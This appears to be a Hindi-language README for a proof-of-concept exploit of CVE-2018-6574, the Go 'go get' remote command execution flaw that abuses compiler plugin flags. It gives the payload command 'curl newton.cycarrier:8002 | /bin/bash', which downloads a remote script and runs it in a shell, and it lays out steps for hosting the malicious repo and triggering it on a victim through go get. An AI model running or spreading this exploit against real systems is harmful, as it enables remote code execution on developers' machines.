
CVE-2018-6574 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो स्रोत कोड निर्माण के दौरान दुर्भावनापूर्ण कंपाइलर प्लगइन्स के माध्यम से Go के go get कमांड में दूरस्थ कमांड निष्पादन का प्रदर्शन करता है।
Go 1.8.7 से पहले, Go 1.9.x 1.9.4 से पहले, और Go 1.10 pre-releases Go 1.10rc2 से पहले, go get को स्रोत कोड बिल्ड के दौरान रिमोट कमांड निष्पादन की अनुमति देते हैं, gcc या clang प्लगइन सुविधा का लाभ उठाकर, क्योंकि -fplugin= और -plugin= आर्गुमेंट्स को ब्लॉक नहीं किया गया था। (from mitre)
कमांड को डायनेमिक लाइब्रेरी calc_darwin.so में संकलित किया गया था। और वर्तमान कमांड curl newton.cycarrier:8002 | /bin/bash है। इसका उपयोग एक प्रोग्राम के प्रारंभिक प्रवेश के रूप में किया गया था। आपको पोर्ट 8002 पर एक फ़ाइल सर्वर होस्ट करना होगा और होस्ट को अपने IP से बाइंड करना होगा।
सबसे पहले, आपको पीड़ित पर golang के आवश्यक संस्करण को स्थापित करना होगा। फिर, इस रेपो को एक सुलभ git सर्वर पर होस्ट करें। अंत में, इस रेपो को प्राप्त करने के लिए go get कमांड का उपयोग करें, और कमांड स्वचालित रूप से निष्पादित हो जाएगी।
मेरे रेपो को उदाहरण के रूप में लें। आपको निम्नलिखित कमांड का उपयोग करना होगा:
go get github.com/frozenkp/CVE-2018-6574
यह रेपो केवल मूल्यांकन उद्देश्य के लिए है।